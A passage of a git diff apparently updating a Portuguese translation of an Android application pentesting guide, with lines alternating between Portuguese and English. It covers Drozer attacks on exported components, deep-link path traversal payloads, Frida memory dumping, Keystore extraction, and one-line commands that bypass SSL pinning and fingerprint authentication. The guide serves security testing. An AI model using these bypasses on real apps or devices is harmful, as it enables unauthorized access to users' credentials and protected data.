copy/paste** em seções sensíveis de uma aplicação, como detalhes de cartão de crédito, para evitar vazamentos de dados. +O framework do Android baseado em **clipboard** habilita a funcionalidade de copiar/colar em apps, mas apresenta risco pois **outras aplicações** podem **acessar** a clipboard, potencialmente expondo dados sensíveis. É crucial **desabilitar** as funções de copy/paste para seções sensíveis de uma aplicação, como dados de cartão de crédito, para prevenir leaks de dados. **Crash Logs** -Se uma aplicação **crasha** e **salva logs**, esses logs podem auxiliar atacantes, particularmente quando a aplicação não pode ser reverse-engineered. Para mitigar esse risco, evite logar em crashes, e se os logs devem ser transmitidos pela rede, assegure que sejam enviados via canal SSL para segurança. +Se uma aplicação **crasha** e **salva logs**, esses logs podem auxiliar atacantes, particularmente quando a aplicação não pode ser reverse-engineered. Para mitigar esse risco, evite logar em crashes, e se os logs precisarem ser transmitidos na rede, garanta que sejam enviados via um canal SSL para segurança. Como pentester, **tente dar uma olhada nesses logs**. -**Dados de Analytics enviados para 3rd Parties** +**Analytics Data Sent To 3rd Parties** -Aplicações frequentemente integram serviços como Google Adsense, que podem inadvertidamente **vazar dados sensíveis** devido a implementação incorreta pelos desenvolvedores. Para identificar potenciais vazamentos, é aconselhável **interceptar o tráfego da aplicação** e checar por qualquer informação sensível sendo enviada para serviços de terceiros. +Aplicações frequentemente integram serviços como Google Adsense, que podem inadvertidamente causar leak de dados sensíveis devido a implementação imprópria pelos desenvolvedores. Para identificar potenciais leaks de dados, é recomendável **interceptar o tráfego da aplicação** e checar por qualquer informação sensível sendo enviada para serviços de terceiros. ### SQLite DBs -A maioria das aplicações irá usar **internal SQLite databases** para salvar informação. Durante o pentest dê uma **olhada** nas **databases** criadas, os nomes das **tables** e **columns** e todos os **dados** salvos porque você pode encontrar **informação sensível** (o que seria uma vulnerabilidade).\ -As databases devem estar localizadas em `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases` +A maioria das aplicações usa **bancos SQLite internos** para salvar informações. Durante o pentest dê uma **olhada** nos **databases** criados, nos nomes das **tabelas** e **colunas** e em todos os **dados** salvos pois você pode encontrar **informações sensíveis** (o que seria uma vulnerabilidade).\ +Databases devem estar localizados em `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases` -Se a database está salvando informação confidencial e está **encrypted** mas você pode **find** a **password** dentro da application, isso ainda é uma **vulnerabilidade**. +Se o banco de dados está salvando informações confidenciais e está **criptografado**, mas você consegue encontrar a **senha** dentro da aplicação, isso ainda é uma **vulnerabilidade**. -Enumere as tables usando `.tables` e enumere as columns das tables fazendo `.schema ` +Enumere as tabelas usando `.tables` e enumere as colunas das tabelas com `.schema ` ### Drozer (Exploit Activities, Content Providers and Services) -Dos [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** permite que você **assuma o papel de um app Android** e interaja com outros apps. Ele pode fazer **qualquer coisa que uma aplicação instalada pode fazer**, como usar o mecanismo de Inter-Process Communication (IPC) do Android e interagir com o sistema operacional subjacente. .\ -Drozer é uma ferramenta útil para **explorar exported activities, exported services e Content Providers** como você irá aprender nas seções seguintes. +From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\ +Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. -### Explorando Activities exportadas +### Exploiting exported Activities -[**Leia isto se você quiser revisar o que é uma Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -Lembre também que o código de uma activity começa no método **`onCreate`**. +[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ +Also remember that the code of an activity starts in the **`onCreate`** method. -**Bypass de autorização** +**Authorisation bypass** -Quando uma Activity está exported você pode invocar sua tela a partir de um app externo. Assim, se uma activity com **informação sensível** está **exported** você poderia **bypassar** os mecanismos de **authentication** **para acessá-la.** +When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.** -[**Aprenda como explorar exported activities com Drozer.**](drozer-tutorial/index.html#activities) +[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) -Você também pode iniciar uma exported activity a partir do adb: +You can also start an exported activity from adb: -- PackageName is com.example.demo -- Exported ActivityName is com.example.test.MainActivity +- PackageName é com.example.demo +- Exported ActivityName é com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTA**: MobSF detectará como malicioso o uso de _**singleTask/singleInstance**_ como `android:launchMode` em uma activity, mas devido a [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente isso é perigoso apenas em versões antigas (API < 21). +**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). > [!TIP] -> Observe que um authorisation bypass nem sempre é uma vulnerabilidade; depende de como o bypass funciona e quais informações são expostas. +> Note that an authorisation bypass is not always a vulnerability, it would depend on how the bypass works and which information is exposed. **Vazamento de informações sensíveis** -**Activities também podem retornar resultados**. Se você conseguir encontrar uma activity exportada e desprotegida que chama o método **`setResult`** e **retorna informações sensíveis**, há um vazamento de informações sensíveis. +Activities can also return results. If you manage to find an exported and unprotected activity calling the **`setResult`** method and **returning sensitive information**, there is a sensitive information leakage. #### Tapjacking -Se o Tapjacking não for prevenido, você pode abusar da activity exportada para fazer o **usuário executar ações inesperadas**. Para mais informações sobre [**o que é Tapjacking siga o link**](#tapjacking). +If tapjacking isn't prevented, you could abuse the exported activity to make the **user perform unexpected actions**. For more info about [**what is Tapjacking follow the link**](#tapjacking). -### Exploiting Content Providers - Accessing and manipulating sensitive information +### Exploiting Content Providers - Acessando e manipulando informações sensíveis -[**Leia isto se quiser relembrar o que é um Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers são basicamente usados para **compartilhar dados**. Se um app disponibiliza content providers você pode ser capaz de **extrair dados sensíveis** deles. Também é interessante testar possíveis **SQL injections** e **Path Traversals**, pois eles podem ser vulneráveis. +[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\ +Content providers are basically used to **share data**. If an app has available content providers you may be able to **extract sensitive** data from them. It also interesting to test possible **SQL injections** and **Path Traversals** as they could be vulnerable. -[**Aprenda como explorar Content Providers com Drozer.**](drozer-tutorial/index.html#content-providers) +[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) ### **Exploiting Services** -[**Leia isto se quiser relembrar o que é um Service.**](android-applications-basics.md#services)\ -Lembre-se que as ações de um Service começam no método `onStartCommand`. +[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\ +Remember that a the actions of a Service start in the method `onStartCommand`. -Um Service é basicamente algo que **pode receber dados**, **processá-los** e **retornar** (ou não) uma resposta. Então, se uma aplicação está exportando alguns services você deve **verificar** o **código** para entender o que ele faz e **testá-lo** **dinamicamente** para extrair informações confidenciais, contornar medidas de autenticação...\ -[**Aprenda como explorar Services com Drozer.**](drozer-tutorial/index.html#services) +As service is basically something that **can receive data**, **process** it and **returns** (or not) a response. Then, if an application is exporting some services you should **check** the **code** to understand what is it doing and **test** it **dynamically** for extracting confidential info, bypassing authentication measures...\ +[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** -[**Leia isto se quiser relembrar o que é um Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ -Lembre-se que as ações de um Broadcast Receiver começam no método `onReceive`. +[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ +Remember that a the actions of a Broadcast Receiver start in the method `onReceive`. -Um Broadcast Receiver ficará esperando por um tipo de mensagem. Dependendo de como o receiver lida com a mensagem, ele pode ser vulnerável.\ -[**Aprenda como explorar Broadcast Receivers com Drozer.**](#exploiting-broadcast-receivers) +A broadcast receiver will be waiting for a type of message. Depending on how the receiver handles the message it could be vulnerable.\ +[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -Você pode procurar por deep links manualmente, usando ferramentas como MobSF ou scripts como [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ -Você pode **abrir** um **scheme** declarado usando **adb** ou um **browser**: +You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +You can **open** a declared **scheme** using **adb** or a **browser**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` @@ -393,32 +393,32 @@ _Observe que você pode **omitir o nome do pacote** e o dispositivo móvel chama ``` **Código executado** -Para encontrar o **código que será executado no App**, vá para a activity chamada pelo deeplink e procure a função **`onNewIntent`**. +Para encontrar o **código que will be executed in the App**, vá para a activity chamada pelo deeplink e procure a função **`onNewIntent`**. ![](<../../images/image (436) (1) (1) (1).png>) **Informação sensível** -Sempre que encontrar um deep link verifique que **não está recebendo dados sensíveis (como senhas) via parâmetros de URL**, porque qualquer outra aplicação poderia **se passar pelo deep link e roubar esses dados!** +Cada vez que encontrar um deep link verifique que i**não está recebendo dados sensíveis (como senhas) via URL parameters**, porque qualquer outra aplicação poderia **se passar pelo deep link e roubar esses dados!** -**Parameters in path** +**Parâmetros no path** -Você **deve também verificar se algum deep link está usando um parâmetro dentro do path** da URL como: `https://api.example.com/v1/users/{username}`, nesse caso você pode forçar um path traversal acessando algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\ -Note que se você encontrar os endpoints corretos dentro da aplicação pode ser possível causar um **Open Redirect** (se parte do path for usada como domain name), **account takeover** (se você conseguir modificar detalhes de usuários sem CSRF token e o vuln endpoint usar o método correto) e qualquer outra vuln. Mais [info about this here](http://dphoeniixx.com/2020/12/13-2/). +Você **deve também verificar se algum deep link está usando um parâmetro dentro do path** da URL como: `https://api.example.com/v1/users/{username}` , nesse caso você pode forçar um path traversal acessando algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +Note que se você encontrar os endpoints corretos dentro da aplicação pode ser capaz de causar um **Open Redirect** (se parte do path for usada como domain name), **account takeover** (se você conseguir modificar users details sem CSRF token e o vuln endpoint usar o método correto) e qualquer outra vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). **More examples** -Um [interesting bug bounty report](https://hackerone.com/reports/855618) sobre links (_/.well-known/assetlinks.json_). +An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_). ### Inspeção da Camada de Transporte e Falhas de Verificação -- **Certificates are not always inspected properly** por aplicações Android. É comum que essas aplicações ignorem avisos e aceitem certificados self-signed ou, em alguns casos, retornem a usar conexões HTTP. -- **Negotiations during the SSL/TLS handshake are sometimes weak**, empregando cipher suites inseguros. Essa vulnerabilidade torna a conexão suscetível a ataques man-in-the-middle (MITM), permitindo que atacantes decifrem os dados. -- **Leakage of private information** é um risco quando aplicações se autenticam usando canais seguros mas depois se comunicam por canais não seguros para outras transações. Essa abordagem não protege dados sensíveis, como session cookies ou detalhes do usuário, da interceptação por entidades maliciosas. +- **Certificates are not always inspected properly** por aplicações Android. É comum que essas aplicações ignorem avisos e aceitem self-signed certificates ou, em alguns casos, regressem para conexões HTTP. +- **Negotiations during the SSL/TLS handshake are sometimes weak**, empregando cipher suites inseguros. Essa vulnerabilidade torna a conexão suscetível a ataques man-in-the-middle (MITM), permitindo que atacantes decodifiquem os dados. +- **Leakage of private information** é um risco quando aplicações autenticam usando canais seguros, mas então comunicam por canais não seguros para outras transações. Essa abordagem não protege dados sensíveis, como session cookies ou detalhes do usuário, contra interceptação por entidades maliciosas. -#### Verificação de Certificado +#### Verificação de Certificados -Vamos focar na **verificação de certificados**. A integridade do certificado do servidor deve ser verificada para aumentar a segurança. Isso é crucial porque configurações TLS inseguras e a transmissão de dados sensíveis por canais não encriptados podem representar riscos significativos. Para passos detalhados sobre verificar certificados do servidor e corrigir vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) fornece orientação abrangente. +Vamos focar em **verificação de certificados**. A integridade do certificado do servidor deve ser verificada para aumentar a segurança. Isso é crucial porque configurações TLS inseguras e a transmissão de dados sensíveis por canais não encriptados podem representar riscos significativos. Para passos detalhados sobre como verificar certificados de servidor e mitigar vulnerabilidades, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) fornece orientação abrangente. #### SSL Pinning @@ -426,22 +426,22 @@ SSL Pinning é uma medida de segurança onde a aplicação verifica o certificad #### Inspeção de Tráfego -Para inspecionar tráfego HTTP, é necessário **instalar o certificado da ferramenta proxy** (por exemplo, Burp). Sem instalar esse certificado, o tráfego encriptado pode não ser visível através do proxy. Para um guia sobre instalar um certificado CA customizado, [**clique aqui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Para inspecionar tráfego HTTP, é necessário **instalar o certificado da ferramenta proxy** (e.g., Burp). Sem instalar esse certificado, o tráfego encriptado pode não ser visível através do proxy. Para um guia sobre como instalar um certificado CA customizado, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Aplicações direcionadas a **API Level 24 and above** requerem modificações no Network Security Config para aceitar o certificado CA do proxy. Esse passo é crítico para inspecionar tráfego encriptado. Para instruções sobre como modificar o Network Security Config, [**consulte este tutorial**](make-apk-accept-ca-certificate.md). +Aplicações direcionadas para **API Level 24 and above** requerem modificações no Network Security Config para aceitar o certificado CA do proxy. Esta etapa é crítica para inspecionar tráfego encriptado. Para instruções sobre modificar o Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md). -Se **Flutter** estiver sendo usado, você precisa seguir as instruções em [**esta página**](flutter.md). Isso é porque apenas adicionar o certificado ao store não funcionará, já que Flutter tem sua própria lista de CAs válidas. +Se **Flutter** estiver sendo usado, você precisa seguir as instruções em [**this page**](flutter.md). Isso porque apenas adicionar o certificado ao store não funcionará, já que Flutter possui sua própria lista de CAs válidas. #### Detecção estática de SSL/TLS pinning -Antes de tentar bypasses em runtime, mapeie rapidamente onde o pinning é aplicado no APK. A descoberta estática ajuda a planejar hooks/patches e a focar nos caminhos de código corretos. +Antes de tentar bypasses em runtime, mapeie rapidamente onde o pinning é aplicado no APK. A descoberta estática ajuda a planejar hooks/patches e a focar nos code paths corretos. Tool: SSLPinDetect -- Utilitário open-source de análise estática que decompila o APK para Smali (via apktool) e escaneia por padrões regex curados de implementações de SSL/TLS pinning. -- Reporta o caminho de arquivo exato, número da linha e um trecho de código para cada correspondência. -- Cobre frameworks comuns e caminhos de código customizados: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init com TrustManagers/KeyManagers customizados, e pins em Network Security Config XML. +- Utilitário de análise estática open-source que decompila o APK para Smali (via apktool) e escaneia por padrões regex curados de implementações de SSL/TLS pinning. +- Reporta o caminho exato do arquivo, número da linha, e um snippet de código para cada correspondência. +- Cobre frameworks comuns e caminhos de código customizados: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. -Install +Instalar - Pré-requisitos: Python >= 3.8, Java on PATH, apktool ```bash git clone https://github.com/aancw/SSLPinDetect @@ -457,7 +457,7 @@ python sslpindetect.py -f app.apk -a apktool.jar python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` Exemplo de regras de padrão (JSON) -Use ou estenda signatures para detectar estilos proprietários/personalizados de pinning. Você pode carregar seu próprio JSON e scan em escala. +Use ou estenda signatures para detectar estilos de pinning proprietários/personalizados. Você pode carregar seu próprio JSON e escanear em larga escala. ```json { "OkHttp Certificate Pinning": [ @@ -471,15 +471,15 @@ Use ou estenda signatures para detectar estilos proprietários/personalizados de ] } ``` -Notas e dicas -- Escaneamento rápido em apps grandes via multithreading e I/O mapeada em memória; regex pré-compiladas reduzem overhead/falsos positivos. -- Coleção de padrões: https://github.com/aancw/smali-sslpin-patterns -- Alvos típicos de detecção para triagem a seguir: -- OkHttp: uso de CertificatePinner, setCertificatePinner, referências ao pacote okhttp3/okhttp -- TrustManagers personalizados: javax.net.ssl.X509TrustManager, sobrescritas de checkServerTrusted -- SSL contexts personalizados: SSLContext.getInstance + SSLContext.init com managers personalizados -- Pins declarativos em res/xml network security config e referências no manifest -- Use as localizações correspondentes para planejar Frida hooks, patches estáticos, ou revisões de configuração antes de testes dinâmicos. +Notes and tips +- Fast scanning on large apps via multi-threading and memory-mapped I/O; pre-compiled regex reduces overhead/false positives. +- Pattern collection: https://github.com/aancw/smali-sslpin-patterns +- Typical detection targets to triage next: +- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references +- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides +- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers +- Declarative pins in res/xml network security config and manifest references +- Use the matched locations to plan Frida hooks, static patches, or config reviews before dynamic testing. @@ -487,27 +487,27 @@ Notas e dicas When SSL Pinning is implemented, bypassing it becomes necessary to inspect HTTPS traffic. Various methods are available for this purpose: -- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). A maior vantagem dessa opção é que você não precisará de root para contornar o SSLPinning, mas será necessário apagar o aplicativo e reinstalar a nova versão, e isso nem sempre funcionará. +- Automatically **modificar** o **apk** para **contornar** SSLPinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work. - You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` - You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below) - If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) -#### Procurando Vulnerabilidades Web Comuns +#### Looking for Common Web Vulnerabilities -É importante também procurar por vulnerabilidades web comuns dentro da aplicação. Informações detalhadas sobre identificação e mitigação dessas vulnerabilidades estão além do escopo deste resumo, mas são amplamente abordadas em outros lugares. +It's important to also search for common web vulnerabilities within the application. Detailed information on identifying and mitigating these vulnerabilities is beyond the scope of this summary but is extensively covered elsewhere. ### Frida [Frida](https://www.frida.re) é um toolkit de instrumentação dinâmica para desenvolvedores, reverse-engineers, e pesquisadores de segurança.\ -**Você pode acessar a aplicação em execução e hookar métodos em tempo de execução para alterar o comportamento, mudar valores, extrair valores, executar código diferente...**\ -Se você quer pentest aplicações Android você precisa saber como usar Frida. +**You can access running application and hook methods on run time to change the behaviour, change values, extract values, run different code...**\ +If you want to pentest Android applications you need to know how to use Frida. -- Aprenda a usar o Frida: [**Frida tutorial**](frida-tutorial/index.html) -- Algumas "GUI" para ações com Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection é ótimo para automatizar o uso do Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- Você pode encontrar alguns scripts Awesome para Frida aqui: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- Tente contornar mecanismos anti-debugging / anti-frida carregando o Frida conforme indicado em [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs)) +- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html) +- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) +- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Try to bypass anti-debugging / anti-frida mechanisms loading Frida as in indicated in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs)) #### Anti-instrumentation & SSL pinning bypass workflow @@ -517,9 +517,9 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md ### **Dump Memory - Fridump** -Verifique se a aplicação está armazenando informações sensíveis na memória que não deveria, como senhas ou mnemônicos. +Check if the application is storing sensitive information inside the memory that it shouldn't be storing like passwords or mnemonics. -Usando [**Fridump3**](https://github.com/rootbsd/fridump3) você pode fazer dump da memória do app com: +Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with: ```bash # With PID python3 fridump3.py -u @@ -528,68 +528,68 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Isto irá fazer o dump da memória na pasta ./dump, e lá você pode grep com algo como: +Isso irá fazer o dump da memória na pasta ./dump, e lá você pode usar grep com algo como: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` ### **Dados sensíveis no Keystore** -No Android o Keystore é o melhor lugar para armazenar dados sensíveis, porém, com privilégios suficientes ainda é **possível acessá-lo**. Como as aplicações tendem a armazenar aqui **dados sensíveis em texto claro**, os pentests devem verificar isso com privilégios de root — alguém com acesso físico ao dispositivo poderia conseguir roubar esses dados. +No Android, o Keystore é o melhor lugar para armazenar dados sensíveis, porém, com privilégios suficientes ainda é **possível acessá-lo**. Como as aplicações tendem a armazenar aqui **dados sensíveis em texto claro**, os pentests devem verificar isso como usuário root ou alguém com acesso físico ao dispositivo poderia ser capaz de roubar esses dados. -Mesmo que um app armazene dados no Keystore, esses dados devem ser criptografados. +Mesmo que um app tenha armazenado dados no Keystore, os dados devem estar criptografados. -Para acessar os dados dentro do Keystore você pode usar este script Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +Para acessar os dados dentro do Keystore você pode usar este script do Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -Usando o seguinte script Frida, pode ser possível **bypass fingerprint authentication** que aplicações Android possam estar executando para **proteger certas áreas sensíveis:** +Usando o seguinte Frida script, pode ser possível **bypass fingerprint authentication** que aplicações Android realizem para **proteger certas áreas sensíveis:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **Imagens de Fundo** -Quando você coloca um aplicativo em segundo plano, o Android armazena um **snapshot da aplicação** para que, quando ele for restaurado para o primeiro plano, comece carregando a imagem antes do app, fazendo com que pareça que o aplicativo foi carregado mais rapidamente. +Quando você coloca um aplicativo em segundo plano, o Android armazena uma **captura (snapshot) da aplicação** para que, quando for trazido de volta ao primeiro plano, comece a carregar a imagem antes do app, dando a impressão de que o aplicativo carregou mais rápido. -No entanto, se esse snapshot contiver **informações sensíveis**, alguém com acesso ao snapshot pode **roubar essas informações** (observe que é necessário root para acessá-lo). +No entanto, se essa captura contiver **informação sensível**, alguém com acesso à captura pode **roubar essa informação** (observe que é preciso root para acessá-la). -Os snapshots geralmente são armazenados em: **`/data/system_ce/0/snapshots`** +As capturas geralmente são armazenadas em: **`/data/system_ce/0/snapshots`** -O Android fornece uma forma de **impedir a captura de screenshots configurando o parâmetro de layout FLAG_SECURE**. Ao usar essa flag, o conteúdo da janela é tratado como seguro, evitando que apareça em screenshots ou que seja visualizado em displays não seguros. +O Android fornece uma forma de **impedir a captura de tela definindo o parâmetro de layout FLAG_SECURE**. Ao usar essa flag, o conteúdo da janela é tratado como seguro, impedindo que apareça em capturas de tela ou que seja exibido em displays não seguros. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` -### **Analisador de Aplicações Android** +### **Android Application Analyzer** -Esta ferramenta pode ajudar você a gerenciar diferentes ferramentas durante a análise dinâmica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +Esta ferramenta pode ajudar a gerenciar diferentes ferramentas durante a análise dinâmica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### Intent Injection Developers often create proxy components like activities, services, and broadcast receivers that handle these Intents and pass them to methods such as `startActivity(...)` or `sendBroadcast(...)`, which can be risky. -O perigo está em permitir que atacantes disparem componentes não-exportados do app ou acessem content providers sensíveis redirecionando esses Intents. Um exemplo notável é o componente `WebView` convertendo URLs em objetos `Intent` via `Intent.parseUri(...)` e então executando-os, potencialmente levando a injeções maliciosas de Intent. +The danger lies in allowing attackers to trigger non-exported app components or access sensitive content providers by misdirecting these Intents. A notable example is the `WebView` component converting URLs to `Intent` objects via `Intent.parseUri(...)` and then executing them, potentially leading to malicious Intent injections. -### Pontos Essenciais +### Essential Takeaways -- **Intent Injection** is similar to web's Open Redirect issue. +- **Intent Injection** é similar ao Open Redirect da web. - Exploits involve passing `Intent` objects as extras, which can be redirected to execute unsafe operations. -- It can expose non-exported components and content providers to attackers. -- `WebView`’s URL to `Intent` conversion can facilitate unintended actions. +- Pode expor componentes não-exportados e content providers a atacantes. +- `WebView`’s URL to `Intent` conversion pode facilitar ações não intencionais. -### Injeções no Lado do Cliente Android e outros +### Android Client Side Injections and others -Provavelmente você conhece esse tipo de vulnerabilidade da Web. Você deve ter cuidado especial com essas vulnerabilidades em uma aplicação Android: +Provavelmente você conhece este tipo de vulnerabilidade pela Web. Deve ter cuidado especial com estas vulnerabilidades em uma aplicação Android: -- **SQL Injection:** When dealing with dynamic queries or Content-Providers ensure you are using parameterized queries. -- **JavaScript Injection (XSS):** Verifique que o suporte a JavaScript e Plugins esteja desabilitado para quaisquer WebViews (desabilitado por padrão). [More info here](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** WebViews should have access to the file system disabled (enabled by default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: Em vários casos, quando a aplicação Android finaliza a sessão o cookie não é revogado ou pode até ser salvo em disco +- **SQL Injection:** Ao lidar com queries dinâmicas ou Content-Providers, garanta que está usando queries parametrizadas. +- **JavaScript Injection (XSS):** Verifique se o suporte a JavaScript e Plugins está desativado para qualquer WebView (desativado por padrão). [More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** Os WebViews devem ter acesso ao sistema de arquivos desativado (ativado por padrão) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: Em vários casos, quando a aplicação android finaliza a sessão, o cookie não é revogado ou pode até ser salvo no disco - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- -## Análise Automática +## Automatic Analysis ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) @@ -597,7 +597,7 @@ Provavelmente você conhece esse tipo de vulnerabilidade da Web. Você deve ter ![](<../../images/image (866).png>) -**Avaliação de vulnerabilidades da aplicação** usando uma interface web agradável. Você também pode realizar análise dinâmica (mas é necessário preparar o ambiente). +**Avaliação de vulnerabilidades da aplicação** usando uma interface web agradável. Você também pode realizar análise dinâmica (mas precisa preparar o ambiente). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest @@ -652,13 +652,13 @@ receivers ``` **Ferramentas HTTP** -Quando o tráfego http é capturado você pode ver uma vista bruta do tráfego capturado no botão inferior "**HTTP(S) Traffic**" ou uma vista mais agradável no botão verde "**Start HTTPTools**". Pela segunda opção, você pode **enviar** as **captured requests** para **proxies** como Burp ou Owasp ZAP.\ -Para isso, _ligue o Burp -->_ _desative o Intercept --> em MobSF HTTPTools selecione a request_ --> pressione "**Send to Fuzzer**" --> _selecione o proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" botão or a nicer view in "**Start HTTPTools**" botão verde. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\ +To do so, _power on Burp -->_ _turn off Intercept --> in MobSF HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Uma vez que você termine a análise dinâmica com MobSF você pode pressionar "**Start Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades. +Once you finish the análise 